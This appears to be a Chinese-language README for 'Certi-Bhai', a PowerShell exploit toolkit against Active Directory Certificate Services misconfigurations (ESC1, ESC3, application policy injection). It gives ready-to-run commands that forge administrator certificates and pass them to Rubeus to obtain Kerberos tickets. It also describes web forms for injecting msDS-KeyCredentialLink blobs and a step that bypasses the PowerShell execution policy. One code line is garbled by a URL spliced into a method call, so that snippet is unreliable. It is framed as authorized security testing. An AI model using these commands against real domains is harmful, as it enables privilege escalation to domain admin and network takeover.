Certi-Bhai 是一个全面的 PowerShell 利用工具集合,用于攻击 Active Directory 证书服务(AD CS)漏洞。该工具包实现了多种提权场景(ESC),展示了 ADCS 环境中严重的安全配置错误。
Active Directory 证书服务(AD CS)经常被错误配置,从而产生多种攻击向量。Certi-Bhai 提供了实用的利用脚本和工具,用于常见 ADCS 漏洞的安全测试和研究。
请负责任地使用,且仅在授权的测试环境中使用。
# Active Directory 模块(可选,用于增强功能)
Import-Module ActiveDirectory
漏洞:证书模板允许使用任意 SubjectAltName(SAN)值进行注册。
功能:通过权限过宽的模板创建证书,允许您冒充域中的任何用户或计算机。
用法:
# 导航到 ESC1 目录
cd ESC1
# 运行利用脚本
.
\esc1.ps1 -subjectName "CN=administrator,CN=Users,DC=indishell,DC=lab" `
-templateName "vuln" `
-altName "administrator" `
-pfxPass "password123"
参数:
-subjectName:目标用户的完整可分辨名称(DN)-templateName:易受攻击的证书模板名称-altName:要请求的备用名称(用户名/计算机名)-pfxPass:PFX 导出的密码输出:Base64 编码的 PFX 证书,可与 Rubeus 等工具配合使用
视频教程:https://www.youtube.com/watch?v=l0gMw_mO4dw
漏洞:证书请求代理可以代表任何用户请求证书。
功能:以证书请求代理身份注册证书,然后为任意主体请求证书。
用法:
# 导航到 ESC3 目录
cd ESC3
# 运行利用脚本
.
\esc3_working.ps1 -templateName "CEOTemplate" `
-target_user "administrator" `
-domain "INDISHELL" `
-pfxPass "password123"
参数:
-templateName:易受攻击的请求代理模板-target_user:要为其请求证书的主体-domain:域名-pfxPass:PFX 密码输出:管理员证书(PFX),Base64 编码
视频教程:https://www.youtube.com/watch?v=fGjrM-JKnoM
漏洞:应用程序策略注入。
cd CSR_Generate
# 生成证书签名请求
.
\csr_short.ps1 -subjectName "CN=admin,CN=Users,DC=domain,DC=local" `
-altName "admin"
# 向 CA 提交 CSR
.
\csr_submit.ps1 -csr $csr `
-templateName "User" `
-caServer "ca-server.domain.local"
cert.aspx Web 界面提供了一个用户友好的表单,用于从 AD CS RPC 端点请求证书:
http://your-iis-server/cert.aspx
通过 Web 界面修改 LDAP 属性。此脚本主要用于在 msDS-KeyCredentialLink 属性中注入 blob:
http://your-iis-server/ldap_update.aspx
功能:
.
\ESC1/esc1.ps1 -subjectName "CN=admin,CN=Users,DC=indishell,DC=lab" `
-templateName "User" `
-altName "administrator" `
-pfxPass "P@ssw0rd!"
# 将 PFX 转换为 Rubeus 可用的格式
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("cert.pfx", "password")
[Convert]:https://raw.githubusercontent.com/incredibleindishell/certi-bhai/main/:ToBase64String($cert.RawData)
Rubeus.exe asktgt /user:administrator /certificate:$base64cert /nowrap
问:脚本执行被阻止
# 以管理员身份运行 PowerShell
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
问:找不到证书模板
问:LDAP 连接失败
发现问题或有改进建议?请负责任地报告。